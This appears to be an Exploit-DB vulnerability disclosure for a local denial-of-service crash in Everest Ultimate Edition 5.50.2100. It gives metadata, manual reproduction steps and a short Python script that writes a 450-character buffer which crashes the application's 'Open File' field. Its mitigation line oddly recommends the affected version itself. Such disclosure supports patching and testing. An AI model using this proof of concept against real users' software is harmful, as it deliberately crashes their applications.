Everest 5.50.2100 - 'Open File' Denial of Service (PoC)

vendor:

Everest Ultimate Edition

by:

Ivan Marmolejo

7.8

CVSS

HIGH

Denial of Service (DoS) Local

N/A

CWE

Product Name: Everest Ultimate Edition

Affected Version From: 5.50.2100

Affected Version To: 5.50.2100

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Home Single Language

2020

Everest 5.50.2100 – ‘Open File’ Denial of Service (PoC)

Everest 5.50.2100 is vulnerable to a denial of service attack when a specially crafted file is opened. An attacker can exploit this vulnerability by running a python code to create a specially crafted file, copying its content to the clipboard, opening the 'Everest Ultimate Edition' application, selecting 'Informe' > 'Asistente de Informes' > 'Next' > Select 'Abrir Archivo', pasting the clipboard content in the 'Abrir Archivo' field, selecting 'Next', and crashing the application.

Mitigation:

Upgrade to the latest version of Everest 5.50.2100.

Source

Exploit-DB raw data:

# Exploit Title: Everest 5.50.2100 - 'Open File' Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2020-03-24
# Software Link : http://www.lavalys.com/
# Tested Version: 5.50.2100
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Home Single Language

# Steps to produce the crash:
#1.- Run python code: Everest.py
#2.- Open Everest.txt and copy content to clipboard
#3.- Open "Everest Ultimate Edition"
#4.- Select "Informe" > "Asistente de Informes" > "Next" > Select "Abrir Archivo"
#5.- In "Abrir Archivo" field paste Clipboard
#6.- Select "Next"
#7.- Crashed

buffer = "\x41" * 450
f = open ("Everest.txt", "w")
f.write(buffer)
f.close()